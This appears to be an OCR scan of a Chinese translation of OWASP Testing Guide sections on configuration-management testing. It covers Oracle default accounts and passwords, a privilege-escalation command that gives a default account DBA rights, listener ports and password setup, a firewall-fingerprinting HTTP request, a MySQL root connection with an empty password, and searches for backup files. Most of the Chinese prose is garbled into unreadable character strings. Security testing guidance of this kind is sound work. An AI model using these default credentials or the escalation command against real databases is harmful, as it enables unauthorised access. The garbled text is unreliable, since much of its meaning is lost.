SID(s): INSTANCE_NAME = CONFORGANIZ

Oracle EWT 2% FLFH12% Oracle A5 #s L IRER U
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User name Password
OUTLN OUTLN

DBSNMP DBSNMP

BACKUP BACKUP

MONITOR MONITOR

PDB CHANGE_ON_INSTALL

FERXAM T, FRATRE @A R DBA K, {HJ& OUTLN 1 BACKUP Ik P #H — /N FE AT AL :

PROCEDURE. Wil & REHATATLARE T, a2 51 1

exec dbms_repcat_admin.grant_admin_any_schema('BACKUP');
XA BIHRAT SCVFRE SRS DBA R BLAEIT ol LB DB BHATAC B AT A4 17, -

select * from session_privs ;

it PR T R

[ T0AD For Oracke Freeware - [BACKUPE!
Y e T EE L e
% He Edt & SOURdtor Creste  DatebsExecuts s Knowiechs dpert Preducth

<] ¢ cnames s
R A R ETTTEN

Daadi
72 Dekacrid | B serpt ot | B Esiin o

o

PRIVILEGE

|ALTER SESSION
UNLIMITED TABLESPACE
CREATE ANY TABLE
|ALTER ahiy TABLE
EBIRCKIIP ANY TABLE
[DROPANY TABLE)
COMMENT ANY TABLE
SELECT Anev TABLE
INSERT ANY TABLE
UPDATE MY TABLE
EL FTABLE)
CAE TER
ALTER ANY CLUSTER
DROPANY CLUSTER
CREATE ANY INDEX

PR BUAE REAT VF 2 84, R¢Ji)/Z: DELETE ANY TABLE A1 DROP ANY TABLE
TR B

fF Oracle 5545 IHF &I BL, WIRESARILLL T o 1 o T T R A8 S 1 PO 2
1521: Default port for the TNS Listener.

1522 — 1540: Commonly used ports for the TNS Listener

1575: Default port for the Oracle Names Server
1630: Default port for the Oracle Connection Manager — client connections
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1830: Default port for the Oracle Connection Manager —admin connections
2481: Default port for Oracle JServer/Java VM listener

2482: Default port for Oracle JServer/Java VM listener using SSL

2483: New port for the TNS Listener

2484: New port for the TNS Listener using SSL

K g A S 451

AW 28 AL PR B A
SR W W S D IR BR AR T2, IR e AR 0 2 B I 45 4% PN A7 itk 2 8] s AS g 1525 S
Listener. ora U8 K e A FE R W s JE ko FRATTA 20N R IR W A IRAE Listener. ora SCfFH:

ADMIN RESTRICTIONS LISTENER=ON
YT R B
VFS 5 LIS A th T I AR T AT B . LR T Listener. ora SCPF, JRATAEHNE BT LW,

"] LLiE g Listener.ora ST T &%, #HRAN T 9% : PASSWORDS_<listener name>. XFF-al ik %
TGRS SCA T, BEibT ) Listener.ora AT NGEHCE D . B2 R0 512246 FH LSNRCTRL T H-ifi

change_password 4545,

LSNRCTL for 32-bit Windows: Version 9.2.0.1.0 - Production on 24-FEB-2004 11:27:55
Copyright (c) 1991, 2002, Oracle Corporation. All rights reserved.
Welcome to LSNRCTL, type "help" for information.

LSNRCTL> set current listener listener

Current Listener is listener

LSNRCTL> change password

0ld password:

New password:

Re-enter new password:

Connecting to <ADDRESS>

Password changed for listener

The command completed successfully

LSNRCTL> set password

Password:

The command completed successfully

LSNRCTL> save config

Connecting to <ADDRESS>

Saved LISTENER configuration parameters.

Listener Parameter File D:\oraclelora90\network\admin\listener.ora
0ld Parameter File D:\oracle\ora90\network\admin\listener.bak
The command completed successfully

LSNRCTL>

5%

HEH

91



€

=  Oracle Database Listener Security Guide - http://www.integrigy.com/security-

resources/whitepapers/Integrigy Oracle Listener TNS Security.pdf

TH

= TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html

=  Toad for Oracle - http://www.quest.com/toad

4.3.3 FLu4E R e E A R, (OWASP-CM-003)
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DRI 2 B — AN AR b 1) — AN AP IR S b — AN e R M B A R I 22 4, SR BELEfU HL
L) AN Z 1) R] G TAH R IR 55 as B K 0 b A NI RE P 2 AN S B A T RO L8 i, 0 7 A
CLH 2 4 T A TR N B A AR L1

i) L 4 ik

X Web [l 55 g HE Al 45 Ry BEAT 38 24 e B4 G T2 40 SRR P A B (e R AR 2. IR Web RS sk, )i
RS54 B O I UE IR 5% A 3K S AL A AT AT Rl M B AR A, AT RE S NN B KU e |
BT 2 A, AT AT REBEE N R P A 5

i, Web 55 & 22 il v RE -3 BUZ AR 1 ke N RE P A B AOURAREYS (XA 2 4l E Web AR 55 s 20w i
Fras L TARZ VO ITHR = S HIRE RS, DR B 44 H P mT LA P it ke A AR e 4 SR Bt B R e B
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I3 P R (1 R 2R 8 ) 5 B e ey 7, DA o R R 8 Web N AR IR R 4L il 23 o AE/ N R Gep, A
R FRLIR) CGT NIRRT, G HRSs 38 v RER HIORIZAT Web IR%52%, ‘BHUT C, Perl, I Shell CGIs WA, WA HEH
ITRAENUE . ERRNIRG, WHELRITRS, M2 6 MSHSYs, Wi B, [k Web M54,
I FH R IR 25 28 A e e 45 #s 5 LDAP RS #% . T IR Se iR &5 2 it H T AR E 1, EEZR AT RES 2 A F M
2% . EATZ AT BT kAR, MIEEASTEIG DMZ, DU 1) Web IR 2% 28I AN 45 0 R 2 15 ) 3 43 36 UE AL R A £ (RA
BEL, DT ASE At A AN R A BB o RIS BFA B AT, I AN 2 o) N AR 2R 5 ) s SR T o

B SR AR JT B N A RASC A i g T 5 JF 7 DK AT A S PR A SR R AR A DG R, U B R X S R
Syo BRI E H BB S MR AR AERT 2UH S Jn iR

FEJ—FE UL, MR e BB MR RS (ARG RS 5 IR A e IR B (E SOk
ANT) R ZH R B TCRAEABME BT T 0 4R R 5 R MR BCEAT Y 78 o DN W] Lad o i) ] S P IO AR s, e 25 f
B K3 RGEIRA Web 55452 7 B 5ok A THETHHXS web JIRG5 5 I £ R S SRR p A 45 8, E 20 A A0 45 web Jii
55w (K110 2% 3 [ e 77 4 M 2% 28 i i . (e I BN 2 TCMP unreachables) , 1RG5 a% 2 1 HARIEL
Internet CRIZGXSARMEWTSG LR EI RST 4D o O T HAAE PR IR KSR, m] ASE T 9 48 St e N OR E— 20 7
B EIRARASE KB IE R — AN % R UT R PR e g 7 W RCEL? RE SRl ?

R T Web Ji 5525 Bir (1 52 [ ARBE G 2204 Web 2585 (AR IR, X AT A8 ELEE B i A7 E S AR (ot G 2R
[ WebShell” [1]) o BRTLUMEIEIRAT Web fIik 55 a5 16T T4 H 1 S A R 25 5 T . 255 1) PSR 52 e 10 Ji 55 9 A2 7
FAAE. B, ARG HTEM AR RSG”  (BMED REZRE XS Web MR 5543 K C A1 B0t AR IAT 0
I8 Web g% i — Mg R 404 158, MK 38R H AR ARFN U, FRERR COT FH 8 A& 1 WK web I
AR FIA R R R, XEREAAAE DS AR (BN BT KBS Bl 13 SR IFIR [B] 55 FUPIAS ] (8 %
fH e B—IF: Ui Web RS- 2%IR A T —Z R H [ HITP Jrik (RS TRACE) , {HJFVEMI TR RN A%, B
LA REAE PN Z A AEAT KPR TEAT. AEZRLERE DL T EE R IR R GEARRERLIE F 5K U«

GET / web-console/ServerInfo.jsp%$00 HTTP/1.0

HTTP/1.0 200

Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 83

<TITLE>Error</TITLE>

<BODY>

<H1>Error</H1>

FW-1 at XXXXXX: Access denied.</BODY>

Check Point Firewall-1 NG Al “{337” WEB [} 4558 245

B ARER R 55 4% ABRRONARERZEAT, 03 )i . FH I 55 s R PR fE o R X S A B ) R A T i 55 At Sk o it
XK 55 A ZE A7 IO SKRBEAT VIS IF P — AN SRR B2 SR BT AL I 18] o

AN BRI A SR IG: RIS T, IXEERGUR A TANRSATE (B, Web IRSSER IS, 15K
B ss) PR HEE K TCP /1P 3 I UL R 2 MR ST ds o DAL, AS DN U 2R 45 ) R G I BRI 2 IMIT SROFLE
WA, DMEh T SRR AL 12X B R 5N R B web 95 2 DA 2 & 77 SERAEAH R BAN AT Web g5 2. 1
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an, MR H I, 0 R ARSI BN RS S . AERELERE BN, W SR T e AE R Sk B A BT
B IN, U Nortel’s Alteon WebSystems 1 25> 5% 57| 1 [) AlteonP Cookie.

IR Web 55 @8 H AR A Dy R o 6 — LB BRI SRS N IR P IR S d A 5 (AN Web iR554%) Ab2E
(K1, JF HImI N SATRAZE R (AR A RSP N AR o 53— FOmARINZ LR B R Web e d5 & 258
i cookie, Xt —MNHIRER: Web R 55a% IEAERAE I AIAR IR (lii—28 J2EE 55 S L1 JSESSTONID) , EH3)
G PR AT 2 A R

JE it SRS UE R (il LDAP H 5%, CRMBIERA, B RADIUS RS 88) » MAMISI A KRG JEANZE 2 I Dy 046
I, PR A AT DA A R P AR S

R o300 A I PR P 3 T LA o s 1 0 e s Bt o R AT I R R T A R, IR AR
FIREAE F N R P AR B RSBt e rp S U A IR SR AR G AR 5 2CmT RE T AR IS I i s Bl P 1 5 A7 AE - BB
ne SR NS R S, RN A BT AR IRAE ¢ “id” ) o AR, ST RGN R IR, R
24 1 R P DL ] O i EOR A REJIWT & A5 A7 A Jm i 2 2 AR 2 1) 5 3 A BB 5 32 SQL TE N

ELAN I R 55 2% U T

Toie it web AR 55 8 A J S SH A, AR A N IR 7 (A 2R G R RO AN ) 58 v R B ] 1S ) )™ FEL 408 5 N R
A5 B, ARG A 2 A I A RE SCVRIZRE KR BT PR SCAE AR R Web k55 &, EERBHOCE. 1t
i T RESE B AN S IRE S, R WU ER A 7 T REEUARN PR Py A B 5 LN RESE ) i i A 55 s R AR, AT (X 224X
Pl R 3L E R e — R 2B AT

M I R EB IE M AR A I 55 AR IR AT A A ARG OL T, T HAE ] A B T H MG Rt I . SR,
X G AR U 23 %) web RS54 AEAN T SRUAIRI S o [R) I pl I a D iy 5 RS R R 45 25 S L] e 3 B0 3 e I i
Cn 2w S BRI 55 B IR A ANRES I, B4k, 22 B L TR T Fra il 1) web i 55 & AT
IR Y o Xt P BRI T, WA R st e B DN BR B T web RS ARRRAS, A B TR A
BERFAT AEIT R I 25 b R 53— iid, - R 4R A R AEAB AN IR 5 5040 OB IR 5% s hiCAS - 41 H 8% 2R AN
AEAERIRA FR IR 55 s hn R oK o 28 RS DUAE SRR R U B R b WL, AT DA TIPSR O IR R A R v 22 2 4l
1 backport #h 1", (U2 IFATRALEH PAFRRA I 5E 8 T 3. X DR Z 2 GNU/Linux 2P 5 A7 78, Wi
Debian, Red Hat 5 Suse . #EKZAUHILT, MR ARG IR S RIS R RGP “BEE” Mook
il (i web HRS5&8) TR ICIA R B S AN R F T A R 2 A5, e S AR, ek
B P AL P v 10 e 1A AR 5545 o

5ehas FEAEITA PR A AR 1 LA A TFIR 5 ORI o DRI, X258 RN 23 7E 28 T 16 C8 20 R Js VI 2500 2 b e il [ 2
] o IXUEYTRE B R SR B P A Bl I eI AT, FEA R GBI Xl T s I TR A k. 3
W, XU T B IR B 55 0 S A AU (U Apache Web 4575, TEKRHT Internet Information Server , &,
IBM [) Lotus Domino ) , {EXFEE g NP S 2 ANE 1

XL A L A T A 2 DN A5 BT A R I A B R I AT, I pAY A R R A 5 A (8 5 A
AL BGE T3 IIAN T o A T3X A5 R, MR n] AR R AR B 45 245 B 20 B vl BEAE (AR S5 4 v HH B ] B
EATIT N R A S o R RER R, DR LRI, DU e LR IR, IR A5 A A AT Ly
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TH BRI TR Sh A w] Be Mk AR e Cln NAR ARSI B ST R0 ) o AR 43 ml DAE I e i o A ) I VIR R AN A7
28, DR AZIR IR S R AR AR 2L A A 4 A

MEARERINZ, BAFOENY f A N S I, JRERTRAT IR Th 4R o AN 1 A AN R K A 4
W, FPE T AT RS B SCRPRE L o AT VR AR SR ) VAN R A RRCAS A JEL R B 20 AT 1 22 A BTty R F) X
K, DA 2 RRAS AT BEAE R R A9 AN BISCRP B CRANSIRF T X 5£%$E,IﬁW%ﬁﬂf7ﬁihm%%$
Zir K, ZARGH TAEN T REA S AR ROREIR — e IR W28 Ah T, Bt A SR it
(RNEEAZSR) . %ﬁi%kmaﬁﬁﬁﬂﬁf,ﬁﬁﬂ%%%i%%%ﬁﬁm,ﬁ%mﬁ%%ﬁﬁﬁﬁ
BORATKIRRCAS,  IX0] e S BN HIFE e RGO 24 K05 B3 BON I RE > 5 S A RRCAS A S 2 1T i T 2 4 o

HETAR

4] Web HR45 #8% 1) S Al 45 4 10 7 B 80 B 1 L4 R oo S R P BT IS R SRS (ML, IR SC
@m&%%%ﬁ@,MPwﬂﬁ%Eﬁoﬁﬁﬂﬁ,ﬁﬁiﬁmmﬁ#MTH%ﬁ, EHTHESHIAN. Fia,
—4 Web R4S AR B B OB, WIEHS, Web RS —SEM 4 R4S S i (8 A B DV 8, A1 A Sl
M2 45 (Wl iPlanet Web fR45#%) , BRHHAISCAELE SCAFE B (£F Apache IR0 T [3]) s 4% &%t GUT
TH CHERITR TIS k%5458 ASP. Net BF) o SRITTERZEE G T, RS A AC BB AL AN 7] i) T2 AR BRI AN
JER] Web 252 FH RS EREAT 44, et FTP k%545,  WebDAV, WIZESCAFFR%ZE (NFS, CIFS) silLedlifilie
TR WK, RN FRR PR R A2 I0 K A E RGO A e T R H. N AR et ) DR i N 2R
7O, HTEENHEFEgEAS (H, WA

X8 AR 2R S5 R AN [R) B2 (R A PR L AT o B AR W A, DO R AN B B mT LG RN O, Atk
HURER T BRI R PR R G M. DA, FE2E) 2

o HIHPA R REME BRI

o T R R 1 A AT LA PN S 10 0% LI R0 7 [

o URERATLUMNELIBCI S i), 005 2 0 e T e 1 RIALRURIAR 5C 1) 2 2 Bk Pk
o HEERUHIT AED

JEANVEBE Web [l 2545 N RE P IO PTAT 51l ] BE i FLE 4 37 i B Web W FIRE PP IO N 7o 3K A
ROt WA Ol Rl feiiinsl) , s i Ress e B Web iR55as (WIENAMAIL) o 7EIXLLls
T B S TLIBR I TR, DAL A A P BB I 8 RS LA I A 1T R e el i A 4 B D e (1 4 11
Z?ﬁf%ﬁ?%%mﬁ%ﬁ%gﬁﬁ% FEXFME LR, DB ANE B D 2 15 5 2 il ot 22 AR

ol

i

am

=
%n*%\ﬂﬁ

. [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse Proxy from IBM which is part of the Tivoli framework.
= [2] Such as Symantec’s Bugtraq, 1SS’ Xforce, or NIST’s National Vulnerability Database (NVD)

= [3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.
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4.3.4 N ECE B HIK (OWASP-CM-004)

| ik

X ZH BN R Py 2% 5 A (R 45 BT R EAT 28 4 0 B0 T 7 L E IO R K 2 A IO R R AT A R R A
A

i) 7L 4 ik

W B AR TSGR XA KR R G — DN EATLSS, POAVFZ AR ARG A @A RcE, HiX
SERC ] RERRANATT I 2 Y A BAR il s BT AT AR5 ANDLAC . MR Web RIS Ry ik 55 4% 2B A7 AR 2 Dl g
Cn RSB, Sors, D00 T SEANT B T BEAE S 2 i 2 i M B DAGE S 22 i O ARVE AT o

PRI 5 1]
LB/ E RS B 3%

VF% Web JR 2545 AN FE 7 M 452 70 BR N e B S 17 S N F AR PP R SCAF o SR X SRR PP RSO 2 o0 T 78I R
Fo TR TR 5 8 e T 70 223 5 15 TAE. AR, VEZERIAN Web 4588 B R P AE Ja SRAF AIAELE e
KR, i, CVE-1999-0449 (Exair 7l k2% fg RIAFAE T1S 48/l 550D , CAN-2002-

1744 (Microsoft IIS 5.0 #7HJ CodeBrws. asp FJ H 3% JJj iR ) , CAN-2002-1630 (#E Oracle 9iAS f#i [
sendmail. jsp ) , BY CAN-2003-1172 (£F Apache’s Cocoon £x& JEACHIFEAS d i H %3 7 JsiAD

CGT e LG — 0 VAN 1 S AN SCAE AN H SRFEA IS e XI5 SR AR web BN FHRE P R S5 s 3241k, IFlfig
F PRI R LSRR AR Ty ik AR, BESCIERR RS AZAE (KIME — T 202 X web IR 5545 A1/ 80N FFE 1
555 5% 0 A A4 T R ARSI 0 AT Al AT T2 175 55 1 TR P A 5 5K

BB RE

AV B H R SR RAEAA TS BRI oI A TEA R, DU SRR e DA e S R BEARAE S 5 — 2
REM A1 Z RBOXFER T i FEIF RAETT AR web N HIREFFINGH B R IX L. ARJ5, 7E HTML g b b g ik e
W] BV A B R BUASA N A2 M 5 2 AT TR N A B I RO — DD RE AN 2 1 TR AR i
(R TXRE AR R 0 Rttt e A2 R 1] 25 HY P 1) HTML 9 0T 1

N T BN TS OB R iR, AR A 2. R X web IS5 i AN 5028 A 2 1 73 LA ST

PHERA RERAT A d . AR, AR LA 35 2OE 48 7 sORAAAH AT 0 2% (14 P 7R B2 19X 2l A 1A 2
(1o AT S BT AEg B b ol BEAFAE 1) HIML VR ) LA RIX SR R A
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K A AR S5 451
e B B

Web fIi 55 & BN FHRE P 15 55 5 RO G A DR 77 100 3 A 45 TS A 2R o O T AL EIC BB R, 2006 oA A
Bo AR, Pl SR AR A5 S AR BL R DI REANF], HEAZ IR E A . SRITAERZBAFOL T, Nz sy i 159
Jikt CHrARAFHE N Ry BN 380D, DB E I 55 20 77 e 22 4o JE G it Hh IR 55 4% N2 A i P AN T
REMSo (U, FRATTAT LR 2820 HY v U

SUR BRI T BB IR 55 . (1 anee TIS vhik) ISAPT §7J8) o T HRAF B 45 Y LRI 55 4 R
AN T, N> T Beaditit o SR — L8t A7 A5 T A R ROBL R, X — TR IE AR L v g H I
FEAERY i A (0 o

o AEHTE T BT A2 A FHERIATK) Web il 554 ) 4 DAL BEJIR 55 841 1R (40x B 50x) o FARRKUL, HERAENT MY
MR R A IR PG 7 DAL AR A AR I P 00 T ke o AR S 5 b & pler . il
W IPREWIRED BT — 5L, PUN AT SEAETT A A5 b 7 2L A5 L

o HATRIR S RAFAEBRAE R G LU/ MU BRIZ AT o IXRERT AR LE R 5% a4 AR (0 M R FLER D R S
IR, ki — H AR web g5 @i AN, Al fig v AARESE TR .

o HAPRIRSS S AT T LRGSR B i oM R
o DRSS SR ECE AT DL A PR A, JFRERT LR RIS Bl o B PR IZI S5 4% CLEAT I8 2 O P RE IR 2
H

H &2 W R PR AR G H 22 4 T B0 58>, DR €l BURISRASTI N R sl CH P AN 2RO F AN
FERISCAE) BLRTCBU 7 MR SR B0 . G, Web IR S5 #8 ME IR S5 as B A F T LUERR R HAE,  (HZlH 24k 2
B PR IL R B H SR N AR IS NRE H SR T2 H 5 ol TR 5 2 B i PR 2 1)
W5 E.

FEIXPREOLT CIRS5 A AN ALY HD 75 2R T H S BN 2 B LA 1) A
13X H S A U E R 2
2. HA AT IAE A8 R IR 5 4 b 2
3 AT H S & AR 4 e 55 A i 2
AARATUATHEAE T 2 H AR REORRR AL WE IR I [ 2
5. HAA oy o #5787 B B3 T LUR AR, 5 BIURy o Bl ey 2
6. Wy frAr s H & ?
7. rC RO R ALK AT AT T H R A AR, (B /KK, P52
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H & MEURE B

AN IR Re, BN, T GET iR AR R L. IXLEH I ER s as HEh AR HE IR XEWE, WMo
e AW RE S U5 & Cnfi s, sEATIR T PRI BERD o WERBGR AR T HA&, fhgify nl gt XLt
RIS, B, e I A B ) Web 2545 RO TR S SR IE B Clnax i A &1 K12 T+ Apache ) HTTP 55
IR S5 ARSI E ) -

UEAh, FEREERE RGN, A8 H SO ARl — LS URE L, i AR, AT RE S A AR A e i i 2 v B
A B HE DR R IR HAS SO WESRANIXREA, T REAEANKIANGE 52 B DRI iR B Ak i

HEAE

HHAFO T, RS AR S TR ™ A H &, RIS SIS AT I R Gei A 2w o AR, R IS5 47
Wi, Prdi g mt nT LUE SO H SRR 28 IAT R TR A B ik il s WERAAEIXR G L, ARG B 1K oIk RNiE
Bty S A s BGHE A TR . SEbr b, REHCRZF T RO HEHRES, %R M Iatidsx
Bl 1P ik, X THAEBGR B R ZEHI rootkit PEdEH] .

Rk, BB A K SRR AE — DN SRS, A SELE Web RSS2 A G o XA Z) SRR —Fh N R
(i Web IR 5525370 MIANTFRIRIE HE, I E S AEA RS ws A G D0 T i H B0 CATRE & s gAY
CPUTHED &

WRAZ R, HEW AGHRIELE RS TSI, B, BRARBORBUFEEG A5 WA A2 8 B8 U Mo A v e
PR SRR SR, AT H S SO IS ] o (HGE, AR S5 s AT IERRC A, H SO S eAi il 7 15 A
RGERAT Y IR AR R IR 20 D o SXRRA, IR B I, VRME RGeS R 7 T RE AR IR S5, A
IR B WAL

—MRUL, AE UNIX R4, HERBBAE/var (ARG LEHR S5 3% 1 22 38 e AE /opt 8¢ /usr/local) , [KlUbAHAREL &
HEBW H R AE IR X S, ARSENR, A THIERG HEZREm, REHSERAFMHER XA
7E Apache Web IR55#% 11/ var/log/apache) NAFIAE— AT HEI7 X .

RIFAZYL, N AVF H S KB A A K BN SO R S RS54 HAS I KN IR XA 0L, DI
HRHAIIE .

DRI SRS R, N R W RS R K, SRRSO, WRdR T, Wi ko
5] AEBE H S A DT, B S IX R ARG R (. ARSI, ot e dliid GET s POST 1K™ 4
(7, QUERY_STRING ZHth £ itk A HiG o PRI Bl DU PR H AR OIS OUR, — AN ik
e s~ B s 8l HIATIa], J TP Hdik, URL 255K, HRSERMI4EIR

B EM B &

RZENSsE (Br T 8E €SO IR 1 B7ik H SO EEA S R G S s AT IR AME I o AEUEAT IR AL
AT H RSN AMEBOZ IS 3 B4 S EAT B AR I ) A 75 22
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MR IE T fE LA £ -
o HAGSE LA KM PTE I TR A A2 AN HIOR B

HS PG R AT 1 e CIXEA T S, PROA IR RWR A 5 22 1) H RS R it A7 A TR AR RIS B8 T T
sl lID)

o WARIALHIN HESOIF IS R GURBRAT H S SCEA S AR (Y (™% ) o B, Web k55 it 285
AMEAMER I H &, EARTSE S EIFA R E SN CPIRAE R H & g2 v TFE web Ik 5545 2ERE
B AR RSO, SCPFIIALR AT CLEEDR AL T I 5

— LR 5% A W] REAEIL B R/NHEIAME ] H e AR AR O, e 5 DR Ui 2 ok s B R A 2 LA
i HATER
HEHA

A H AU T Web fik 55 25 3R O I SE -2l Gl 0 K2 HET HAERN IR P oGE) .
T E AR web MRS AS AT A T Bl

N T o HERs Web JIR g5 e OB, /5 200 IR g% et iR HE SO L Ar . i A pidkrp T
o 40x  CRIRFD HHRMEE. [F—RIERRR I IZ R BT BER Y] web IRSTa3E 32 T CGT s Bk

o 50x OIRSTAFENR) fHE. XLn] DIRHIBGE 2 N R e 2 i 7 S B S AR Biltn, 4 SQL &
THIBEAT IE A2 [ I i o 0 P v AT SR BN, SQL v N Bl (K 55— B Br s 7 AR IR SR A5 L

HEG AT ARAZAE B H SN G Mds & LSOl . SIS, Boded T A > Web JIk 55 459
IR EEAN 24 PR P B T SR A AR AN e H 5 SR A 4 e (1

Generic:

= CERT Security Improvement Modules: Securing Public Web Servers - http://www.cert.org/security-improvement/
=  Apache

= Apache Security, by Ivan Ristic, O’reilly, march 2005.

= Apache Security Secrets: Revealed (Again), Mark Cox, November 2003 - http://www.awe.com/mark/apcon2003/

= Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox, October 2002 -

http://www.awe.com/mark/apcon2002

= Apache Security Configuration Document, InterSect Alliance -

http://www.intersectalliance.com/projects/ApacheConfig/index.html

= Performance Tuning - http://httpd.apache.org/docs/misc/perf-tuning.html
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Lotus Domino

. Lotus Security Handbook, William Tworek et al., April 2004, available in the IBM Redbooks collection
. Lotus Domino Security, an X-force white-paper, Internet Security Systems, December 2002

. Hackproofing Lotus Domino Web Server, David Litchfield, October 2001,

=  NGSSoftware Insight Security Research, available at www.nextgenss.com

=  Microsoft IIS

= IS 6.0 Security, by Rohyt Belani, Michael Muckin, - http://www.securityfocus.com/print/infocus/1765

= Securing Your Web Server (Patterns and Practices), Microsoft Corporation, January 2004

L 11S Security and Programming Countermeasures, by Jason Coombs

=  From Blueprint to Fortress: A Guide to Securing I1S 5.0, by John Davis, Microsoft Corporation, June 2001
= Secure Internet Information Services 5 Checklist, by Michael Howard, Microsoft Corporation, June 2000

=  “How To: Use lISLockdown.exe” - http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp

= “INFO: Using URLScan on IIS” - http://support.microsoft.com/default.aspx?scid=307608

=  Red Hat’s (formerly Netscape’s) iPlanet

=  Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, by James M Hayes
=  The Network Applications Team of the Systems and Network Attack Center (SNAC), NSA, January 2001

WebSphere

. IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter Kovari et al., IBM, December 2002.

. IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., IBM, March 2002

4.3.5 AFY R 44 A PEIIGK (OWASP-CM-005)

SCART A4 T FIAE Web IS5 & STIEY™ JiE 44 W HIRAf EAE web JIRd5 28 T 4 T 58 web 18 3K it ZE Al HIMRAL EOR /15 5
fift.

HARIXFPAT 5 RECs M Web ARifE— 20, ATAIARER SIS A NS 2R BIEH 0L TR T web B IREHA TS
A AR, IFRORTRIAE T3 AR R PR BOR L it m] B 7 S AR 55

UEAk, 8 Web g% ae b0 B 1R 0 B T AR A 2y b e Uy 1) SEAE AL 45 6

i) L 3

B 3E Web JI 5545 Wi Ab BEAT AN Fi& 4% (AR O SCAF ISR T BEAT B T BEARAAE web JIZ 55 &% Wil AbBEXT AN Y 44 10
AR SCAF IS SR AT REAT B T2 Web RS54 1041, IR AT N B T AT 22l U Wl (R SO RRSS . i, T AT )
TAROIRLESCATP e A4 R AASCAS G ZCIR (3] LA S RS AE R 55 283 AT o TR B AR IR T Web R 55 &5 s TR P i 55 4 P A
MBIEAR /W /s R R v Besedlt 7 2 1 web N IR A0 e vh (45 S Biltn,  “.pl” § AW Y
g5 as i i Perl SERAT G ORVAE SO A nl RERAT IO E, IFRAHIEYE: W1 Perl JIR 55 a5 B W] e HE o
5 Perl HIKRIIFSEME ) o FUWTI0H) “Web IRASERAIE” T W 2 5 Tl € IR 55 s i U BARMALF .
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R 01 S 45
FEATHTTP [s 153K K BIAF SR 4, IR EA 2 T B AL B o TSR AWV AZ DLREAS W T H 5l i o

IR SEVFIIAS AT B H oo Web 5545 0 H % ] LB Il F0 A I, LRI A7 7R B O R RN H > AR,
X W s 5 R BEA T B AR AL B AT A Y R 7 IR 55 1 web H 2B

IR Web N R FAAR R G HER I T 80P, IS L UT R I web IRSS &K+ r B2, PPAN G DU g TP R AU
RREGHRIBCE, FIREIRA S, WATRERME. fEATUAREIFIEEREES T, A web/ N I RE PRS44I E BT RES AT
BRI, Bltn: R web R REHIR T MBI, KRS . B THRECHIRCE R TS A
ApacheWeb It 55 4% F] BEAEMBATT 2 [MIAFAERR BRI ANKI BRAT o I T BEAAAEA RO

i :
LV EAFAE 4 N connection.ine RS0 SR VT X AN S, 145 21 (1) 1] 45 5 3 280 F 1 -
<?

mysql_connect("127.0.0.1", "root", "")
or die("Could not connect");

>

AT AR EAFAE i MySQL DBMS,  FFAFAE—A> web NTRERF FRIEN G m K (55) k. XA (FE
FUSEPPA P AR WIS SO R A B ) S A S K

NSO A RARER web IR S5asiz [, DR ARATI G 28 20 400 2 B0 B AR SO o 4 e B bl 25 3R [T 28 301
° .asa

e .inc

NS AR RS LE3C b4 — HY7 RSO, W st wos sl 80X Le S0, Rk, Bk T
T3 Ji& 44 B0 SO A T S5 il AR AU S5 (M AEZ AR ), FFRE AT U5 B

o .zip, tar, .gz, gz, rar, ... CJR4E) FERSSCAE
o java: B BLHAR U0 Java VAR SO )
o txt: SUARICHF

e .pdf: PDF 3CHY

e .dog, .rtf, .xls, .ppt, ...: Office 1Y
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o .bak, .old B RGO I SCHY A (B140: ~ 5T Emacs [ backup 3CHF)

PR VEA I T L BRI REARE T, AATRE SR, ATRLESK  http://filext.com/ B
SESEHE Y e 4 A 2R

RITHEZ, NTHEEY BAK M, HERBURAM, 8. W, bk TS T H, F IR0
P X7k iR T B3k T AR , il R51% (PENS & A Spidering and googling). [H 15 £ &
Old file testing, AbHEYE “Hints” SCRYAHIC I 224 )il

| R A 5

XS A AT A Gk, A A AL web N RE PR R A K1 web AR 55 as/ N R 55 2 IO C B 00, BINE
AR B 55 AN ST i 44 o 2R web IR 3 AR S-S A A 80, I X 2 2 15 2 S EUA R AT 1

7

7

TH
= Vulnerability scanners, such as Nessus and Nikto check for the existence of well-known web directories. They may allow as well
downloading the web site structure, which is helpful when trying to determine the configuration of web directories and how
individual file extensions are served. Other tools that can be used for this purpose include:
=  wget - http://www.gnu.org/software/wget

. curl - http://curl.haxx.se

=  Google for “web mirroring tools”.

4.3.6 BT HI. H T2 0  BL R AR 51 H 8 S (OWASP-CM-006)

HIRTE Web [ g5 & R 2 HOCIEIE IS5 e 5 FARAR B, (HE I I $R B 5 AN / Bl it 55 i SCAF 3R
(SEE R B AT WERTR I IS Y SNINEYe o AU

IR WL S AR AR AR BT SO IR ERRAS (K FOHT i 44 R SCAF, A S b B R 5 SO RT DU B R 3, it
DA a4 R AFAE (1 E Bl sl T AT 1 %40 S

PIATIXEE O] BEARZ B MAE VT ) BIN FRIa 4k, Jal], BER T, S AR B B 1 sl e ik 55 2 AH R IECEY)

SE.
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i) L i

Il ) — A FERYPI L 5 N TCAR TSGR IS o IR B SN SO AR 10, i e B Y™ A 46 1)
RAS AL, B2 T web B I R s R 5 | IO SCAR IR B 1 ORI o X web 7 it J 2545 JEA T it b g A H L e e 2
BAF I RS A2 R B A RIA L LR ARG A SO IN G A B 8™ 2R R0, B O B DA B A A SO IR TR 44—
HICEER)D o

XL SRR 2 G N, S T BT I FH A ™ T (1 22 A S o 3 DR A 4% 0 AR JIT 7 A4 1) 2 R iR SC A
SRS B4 . PEAR OF BRI . tar, . zip 8. gz AL SCHA M BARMY B4, 2 9iEasaz)
BURMEIARFFE @ (i, 42w SO, Emacs ARG AN IR file~ &4 S o T3l S HImT Re =25 FIFE 1)
s (Clnsgil fite 3 file.ofd)

R, IXEETEEh# A 74E a) N AT ZHS0M:, b)) SFHIREE SCrE, web 4528 2 AT R R AbEE )5 3. foiltat,
WERBAE I Login. asp i #4A login. asp. old, FATMZLEARVFH P R4 login. asp BIYEAS; 2B TEH
P R4, login. asp. old & & AE KA SCARSCRYIR MITTAS AT . #F2, Vil login. asp AT login. asp
